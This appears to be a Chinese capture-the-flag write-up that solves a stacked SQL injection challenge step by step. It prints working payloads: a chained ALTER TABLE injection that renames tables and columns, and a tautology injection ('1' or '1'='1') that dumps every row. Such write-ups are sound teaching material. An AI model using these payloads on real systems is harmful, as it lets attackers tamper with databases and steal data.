image-20260112110506682

1.先提交一下

image-20260112110547071

2.判断引号闭合为单引号,可以用“– ”注释符

image-20260112110719678

3.在进行union注入时可以看到很多都被过滤了

image-20260112110819163

于是采用堆叠注入,推一下数据库结构

image-20260112110956182

查看1919810931114514可以看到有flag列,估计flag就在这了

image-20260112111059080

查看words表结构

image-20260112111218963

通过观察可以看到words有两列,可以大体推出sql查询语句

1
select * from words where id='".$_GET['inject']."'

那我们就可以先把words表改名为words1

1
alter table words rename words1;

再将1919810931114514改名为words,相当于替换了数据

1
alter table `1919810931114514` rename words; 

最后把flag列改成id,实现伪造

1
alter table words change flag id varchar(60);

得到payload

1
?inject=1';alter table words rename words1;alter table `1919810931114514` rename words;alter table words change flag id varchar(60);

4.注入payload实现偷梁换柱,这时可以看到什么也没有了

因为原来的words有两列,被我们替换后只有一列了,查询语句还是之前那个,所以查不到data列就中断了,类似:

1
2
3
4
5
6
$sql = "select * from words where id='".$_GET['i']."'";
$result = $db->query($sql);
while($row = $result->fetch_assoc()){
echo "ID: " . $row['id'] . "<br>";
echo "Data: " . $row['data'] . "<br>";
}

image-20260112113211162

这时再注入1’or’1’=’1,构成下面sql语句,实现永久为true,把数据全部输出,得到flag

1
SELECT * FROM words WHERE id='1' or '1'='1'

image-20260112114134176